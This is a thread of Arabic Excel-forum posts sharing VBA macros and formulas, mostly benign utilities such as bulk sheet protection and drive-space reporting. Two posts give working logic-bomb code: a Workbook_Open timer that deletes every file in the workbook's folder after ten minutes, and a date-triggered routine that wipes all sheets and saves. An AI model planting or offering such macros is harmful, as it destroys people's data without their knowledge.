مختار حسين محمود

السلام عليكم ورحمة الله وبركاته وهذا حل بالأكواد مع إضافة خاصية "عدد مرات تكرار كل عدد" تلميذكم مختار حسين تحياتى Book2.rar

أخى أبو ايمان الملف الانتحارى ده لا يعتبر انتحارى وانما ديناميت أنت توصل السلك ( أقصد تضغط الزر ) والديناميت ينفجر انما الملف الانتحارى تلاقيه بيفرقع لوحده دون تدخل منك وأنت بعيد فاذا وضعت الكود التالى فى حدث المصنف Private Sub Workbook_Open() Dim dTime As Date dTime = Now + TimeValue("00:10:00") Application.OnTime dTime, "DeleteAllFilesInAFolder" End Sub والكود بتاعك مديول عادى Option Explicit Sub DeleteAllFilesInAFolder() Dim MyFolder, FSO, FLDR, FileName MyFolder = ThisWorkbook.Path Set FSO = CreateObject("Scripting.FileSystemObject") Set FLDR = FSO.GetFolder(MyFolder) With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly For Each FileName In FLDR.Files FileName.Delete True Next .Close False End With End Sub الكود ده يستدعى الكود بتاعك بعد مدة زمنية 10 دقائق ( لو تحب غيرها كما تشاء فى الكود) وبالتالى يكون الملف قنبلة موقوتة . أنصحك وأنصح كل الزملاء بعدم الاقتراب من الأكواد الغريبة . تحياتى أخوك مختار من الوكالة الدولية للأكواد الذرية .

طالما العملية بقت كده وكلها أسلحة نووية ÷ دمار شامل يبقى نعمل موضوع عن الانشطار النووى للملف على غرار الانشطار الكبير ( معلش الاكسل هيتبهدل )

أخى الفاضل سامى أستاذى الفاضل محمدين بارك الله فيكما وشرفتما الموضوع . أخى محمدين تذكر أن هذا الكود بيعمل حماية على كامل أوراق العمل فى المصنف سواء بها معادلات أم لا فلا نستطيع الحذف أو الاضافة الا بعد فك الحماية أيضا يمكن ذيادة حماية المعادلات باخفاء هذه المعادلات وما أكثر الموضوعات فى المنتدى التى تتعلق بحماية واخفاء المعادلات ابحث عنها اذا رغبت تحياتى

أخى ياسر بلاش الملفات دى . اسألنى أنا . خط الصعيد عندينا هنا لو شم خبر بأن فيه خط نتاوى غيره هيخربها . لو تسمح لى بتعليق صغير على اسم الملف أستاذى ياسر : Delete All Files In A Folder تعنى حذف انما الملف لا يحذف وانما بيسفك والعياذ بالله والفارق بينهما أن الحذف هو : نقل الملفات الى السلة أما السفك هو : ..................ولا بلاش الموضوع كله بقى دمار شامل تحياتى

شرح الكود بالعربى قدر الامكان عشان ما يزعلش حبيبى أبو ايمان Option Explicit Sub SetProtectionInAllSheetsAllFilesInFolder() 'Jerry Beaucaire 3/4/2010 - اسم صاحب الكود ' اخنر مجلد تم احمى كل ملفات الاكسل بباسورد ' تأثير الكود يكون على أوارق العمل أو بنية الملف ' السطور الثلاث التالية توضح التصريحاتالتى سنعلن عنها Dim fPath As String, fName As String Dim pwd As String, pwd2 As String, ws As Worksheet, wb As Workbook Dim Ans As Long, Ans2 As Long, Cnt As Long 'اختيار مجلد من المربع الحوارى With Application.FileDialog(msoFileDialogFolderPicker) .AllowMultiSelect = False .Show If .SelectedItems.Count > 0 Then fPath = .SelectedItems(1) & "\" Else Exit Sub End With 'السطور التالية توضح عملية الاختيار بين الحماية أو فك الحماية Ans = Application.InputBox("هل تريد حماية أو عدم حماية الملفات فى هذا المجلد ؟" & vbLf & vbLf & _ "Enter 1 - حماية الملفات" & vbLf & "Enter 2 - عدم حماية الملفات" & vbLf & vbLf & _ " سوف يتم تجاهل الأمر CANCEL أى قيمة أخرى أو", " حماية أو عدم حماية ؟", Type:=1) If Ans < 1 Or Ans > 2 Then Exit Sub 'السطور التالية توضح عملية الاختيار بين الحماية أو فك الحماية من أوراق العمل أو بنية الملف Ans2 = Application.InputBox("هل تريد حماية أو عدم حماية أوراق العمل فى أى ملف أم البنية ؟ " & vbLf & vbLf & _ "Enter 1 - أوراق العمل فقط" & vbLf & "Enter 2 - التأثير فى البنية فقط" & vbLf & "Enter 3 - التأثير فى أوراق العمل والبنية معاً" & vbLf & vbLf & _ "سوف يتم تجاهل الأمر CANCEL أى قيمة أخرى أو", "أوراق العمل أم البنية", Type:=1) If Ans2 < 1 Or Ans2 > 3 Then Exit Sub 'السطور التالية للحصول على باسورد لإتمام عملية الحماية أو فك الحماية Do pwd = Application.InputBox(" : كلمة السر المستخدمة التى سوف تستخدم", "Enter Password", Type:=2) If pwd = "False" Then Exit Sub pwd2 = Application.InputBox("رجاءً أدخل كلمة السر مرةً أخرى للتأكيد ", "Re-Enter Password", Type:=2) If pwd2 = "False" Then Exit Sub If pwd = pwd2 Then Exit Do Else MsgBox "كلمة السر خاطئة, حاول مرةً أخرى" Loop ' السطور التالية لتلافى رسائل الأخطاء Application.ScreenUpdating = False Application.DisplayAlerts = False Application.EnableEvents = False fName = Dir(fPath & "*.xls*") 'الحصول على اسم أول ملف اكسل 'عملية حماية الملف Do While Len(fName) > 0 Set wb = Workbooks.Open(fPath & fName) 'فتح باقى الملفات الموجودة بالمجلد If Ans2 = 1 Or Ans2 = 3 Then 'معالجة أوراق العمل For Each ws In wb.Worksheets If Ans = 1 Then ws.Protect Password:=pwd Else ws.Unprotect Password:=pwd Next ws End If If Ans2 = 2 Or Ans2 = 3 Then If Ans = 1 Then wb.Protect Password:=pwd, Structure:=True, Windows:=False Else wb.Unprotect Password:=pwd End If End If wb.Save ة 'حفظ الملف بعد انهاء عملية الحماية أو فك الحماي wb.Close 'اغلاق الملف بعد انهاء عملية الحماية أو فك الحماية Cnt = Cnt + 1 'تطبيق العملية السابقة على كل ملفات الاكسل الموجودة بداخل المجلد fName = Dir Loop Application.ScreenUpdating = True Application.DisplayAlerts = True Application.EnableEvents = True MsgBox "الاجمالى " & Cnt & " ملفات تمّ معالجتها" End Sub مع

أستاذى الفاضل ياسر خليل أستاذى الفاضل زيزو أستاذى الفاضل ياسر فتحى أستاذى الفاضل أبو ايمان أستاذى الفاضل أبو القبطان بارك الله فيكم جميعا دائما ما أراكم تشجعونى على البحث فأنا شخصيا أستفيد قبلكم وأنا أحبكم جميعاً فى الله وأسعد - والله العظيم - بمروركم على كتاباتى واعلموا أن سعادتى لا تكون فى ترقية بقدر ما تكون فى استفادة أحد الأعضاء أو الزوار أو الباحثين فى حياتهم العملية من كتاباتى تحياتى لكم جميعا

بارك الله فيك يا أخى عبدالعزيز

بسم الله الرحمن الرحيم والصلاة والسلام على أول الأنبياء وخاتم المرسلين سيدنا محمد ( صلى الله عليه وسلم ) صلاةً الى يوم الدين إخوانى وأحبابى وزملائى وأساتذتى فى منتدانا العريق السلام عليكم ورحمة الله وبركاته أما بعد يسعدنى أن أقدم لحضراتكم ملفا به كود واحد ومنقول قمت بتعريبه لكم يمكنه حماية أو فك حماية جميع أوراق العمل فى أى عدد من ملفات الاكسل بأى امتداد داخل أى مجلد فى جهازك شوفوا مش حارمكم من حاجة كل جديد ومفيد لكم منى كل محبة وتقدير واحترام والحمد لله تعالى من قبل ومن بعد *************** تفضلوا المرفق وعليه Protect Unprotect All Files In A Folder.rar

شكرا الف شكر على مرورك نورت الموضوع

أخى الكريم أبو ايمان بارك الله فيكم وجازاكم أيضاً تحياتى

حل آخر ليكن الرقم ( 1.1 أو 1.2 أو 1.4 أو 1.5 أو 1.6 أو 1.25 أو 1.49 .................. الخ ) فى الخلية c4 =IF(C4-INT(C4)<=0.5;INT(C4)+0.5;IF(C4-INT(C4)>=0.5;INT(C4)+1;C4)) لو الكسر أقل من 5. مثل 1.1 أو 1.2 أو 1.4 يتم التقريب الى 1.5 لو الكسر 5. يظل كما هو لو الكسر أكبر من 5. مثل 1.6 1.7 1.60 يتم التقريب الى 2 ملحوظة المعادلة تعمل فقط مع الأعداد ذات الكسور العشرية

مرحبا بك فى منتدى الشعر أقصى الاكسل حتى ولو كان الموضوع فى غير موضعه الا انه فكرنا بالماضى الجميل

السلام عليكم بعد اذن الأساتذة هذا كود لحذف محتويات أكثر من ورقة عمل مع رسالة تنبية يوضع فى حدث المصنف : ( غيّر التاريخ كما تشاء ) Private Sub Workbook_Open() If Date > #1/30/2015# Then For Each x In ThisWorkbook.Sheets x.UsedRange.Clear Next ThisWorkbook.Save MsgBox "sorry all data delated by mokhtar " End If End Sub تحياتى

أستاذى ياسر اللى ما يسمعش كلام أستاذه يا ويله اسألنى أنا عن الموضوع ده . تحياتى أستاذى الفاضل دغيدى شرفت بمروركم امبارح وأنا بأسجل مشاركة للرد عليكم قطع النور وهذا سبب تأخرى فى الرد أنا عندى win 7 - 32 بت ولم أجرب تشغيل الملف على النظام win 7 - 64 وبحثت عند بعض الأصدقاء عن win 7 - 64 للتجربة فلم أجد لذا أقترح على سيادتكم اذا كان الملف لا يعمل مع النظام win 7 - 64 تغيير المكتبة kernel32 التى نستدعيها فى الكود الى kernel64 . هذا على حد علمى والله أعلى وأعلم . لابد أن هناك طريقة لتحويل التصريحات فى الكود لكى تعمل مع kernel64 وهذا لا أعلمه . واسمح لى بنصيحة من تلميذك لك ولكل الزملاء : إن أمكن فرد تسختى ويندوز مختلفتين على الجهاز الواحد . ( مثلا على جهازى win xp sp3 ,win 7 - 32 ) مع خالص تقديرى واحترامى لشخصكم الكريم . أستاذ زيزو بارك الله فيكم وسعدت وشرفت بمروركم الكريم أخى ياسر فتحى بارك الله فيك . أسال الله تعالى أن يوفقنا فى رد الجميل لمنتدانا

بسم الله الرحمن الرحيم والصلاة والسلام على أول الأنبياء وخاتم المرسلين سيدنا محمد ( صلى الله عليه وسلم ) صلاةً الى يوم الدين إخوانى وأحبابى وزملائى وأساتذتى فى منتدانا العريق السلام عليكم ورحمة الله وبركاته أما بعد يشرفنى أن أقدم لحضراتكم ملفا به كود منقول أكثر من رائع هذا الكود يمكنه أن يظهر لك ما يأتى 1 - عدد البارتشنات فى الهارد ديسك 2 - نوع البارتشنات فى الهارد ديسك 3 - مساحة كل بارتشن والمساحة الكلية للهارد ديسك 4 - المساحة المستخدمة فى كل بارتشن والمساحة الكلية المستخدمة فى الهارد ديسك 5 -المساحة الفارغة فى كل بارتشن والمساحة الكلية الفارغة فى الهارد ديسك 6- اظهار المساحة الكلية و المستخدمة و الفارغة فى أى وحدات التخزين كالفلاشات المتصلة بجهازك طريقة استخام الملف : بسيطة ضغطة زر فقط لا غير ملحوظة 1: اعرف مساحة الهارديسك قبل وضع فلاشة وبعدها ملحوظة 2 : أى تغيير بالزيادة والنقص فى المساحات لديك يظهرها الكود بضغطة واحدة أتمنى أن تسعدوا به لكم منى كل محبة وتقدير واحترام والحمد لله تعالى من قبل ومن بعد *************** Drives names Type Size SpaceFree etc.rar

أستاذى أبوالقبطان لك كل تحية وتقدير أستاذى لازلت وسأظل تلميذاً لكم وللأساتذه الكبار فى المنتدى أمثالكم أستاذ حمود الحرتى بارك الله فيكم وشرفت بمروركم الكريم تحياتى

أخى ياسر بارك الله فيك مفيش أبسط من كده تحياتى

أخى أبوبهاء بارك الله فيك لم أنسك فى تدريب تكملة الكلمة بالحرف الناقص ولكن أبحث عن طريقة ما لعمله . لاتنسنا فى دعائك تحياتى

سلمت من كل شر أخى أبو اسماعيل شرفت بمروركم تحياتى لك

مش حرام تقتل ملف صغير كان عملك حاجة ؟! بلاغ فى أبوالبراء الى سيادة الاكسل العام من النت مباشرةً هذا اعتراف رسمى منه ============ فكرة أفضل من قتل الملف احنا نمسّكه السلك عريان ونحذفه الى سلة المهملات ممكن نحتاجه فى يوم والملف الأسود ينفع فى اليوم الأبيض واذا قررنا اعدامه خالص نعمله كود 106 ونفرغه من السلة فيه أكتر من كده بهدله للملف تحياتى للقاتل

أخى الكريم ياسر فتحى بارك الله فيك أخى الكريم ياسر خليل الكود مش من ابداعى احنا نقدر على كده الكود منقول من موقع أجنبى كل اللى عملته فيه أننى جعلت الاكسل يغلق نهائيا بينما الكود الأصلى كان يغلق المصنف فقط أخى أبو خنين ( حضرتك نسيت النقطة فى اسمى بس أنا وضعتها فى اسمك لأنى مقدرش أعدل فى مشاركتك ) أخى الفاضل الحفظ الألى مش مشكلة تعديل بسيط فى الكود يلبى لك ما تريد كما أن الكود الأصلى كان بيعمل حفظ آلى لكننى آثرت أن أحفظ عملى أولا بأول وألا يكون هناك حفظ آلى للبيانات لربما حد من العيال يعمل حاجة فى الملف قبل الاغلاق ( مجرد وجهة نظر ) تحياتى للجميع :fff:

بسم الله الرحمن الرحمن أحبابى السلام عليكم ورحمة الله وبركاته وبعد أقدم إلى حضراتكم ملف صغيراً وبسيطاً لكنه يحتوى على كود - من وجهة نظرى المحدودة - فوق الرائع الفكرة هى أن الملف يغلق اذا لم يكن هناك مستخدم يعمل عليه الاغلاق يتم بعد ترك المستخدم له بدقائق محددة " يتم تحديد الدقائق فى المديول العادى" الكود الرئيسى يوضع فى حدث المصنف اذا رجع المستخدم الى العمل على الملف قبل نهاية المدة يتم تجاهل الكود ولا يتم الاغلاق لو حاولت تغيير عدد الدقائق رغبةً منك فى اطالة المدة فان الكود لا يعمل بالعدد الجديد الا بعد الحفظ والاغلاق واعادة فتح الملف تحياتى / مختار حسين محمود :fff: Timed Closing Of A Workbook.rar

تفضلوا المرفق الثانى : temp يوضع هذا المجلد افتراضاً فى البارتش D اذا أردت تغيير المسار فيجب تغييره أيضا فى ورقه عمل pictures فى المصنف : تمرين اسم الصورة الخاطئ ولاحظ أيضاً أنه مش أى صورة تستعمل الصور يجب أن تكون من النوع JPEG تقبلوا تحياتى temp.rar

اضافة هامة لبرنامج تعليم اللغة الانجليزية بالاكسل لرياض الأطفال والمدارس الابتدائية اخوانى الأعزاء اليكم هذا التدريب الاضافى الذى طلبه أخونا أبوبهاء المصرى كان طلب اضافة تمرين اسم الصورة الخاطئ فى مشاركة سابقة . الهدف من التمرين : عرض صورة لها اسم خاطئ يقوم الطالب بكتابة الاسم الصحيح فى هذا التمرين يتم عمل VLOOKUP لمجموعة صور فى مجلد يسمى temp يوضع هذا المجلد افتراضاً فى البارتش D اذا أردت تغيير المسار فيجب تغييره أيضا فى ورقه عمل pictures أيضاً حتى لا تحدث أخطاء ملحوظة : ضع المرفق التالى داخل المجلد الأصلى للبرنامج لان به أكواد تشغيل الأصوات الموجودة به أيضا فى ورقه عمل pictures نثبت به اسم الصورة ويكون رقماً كما نثبت اسم الشكل الذى فى الصورة تفضلوا المرفق الأول :تمرين اسم الصورة الخاطئ تمرين اسم الصورة الخاطئ.rar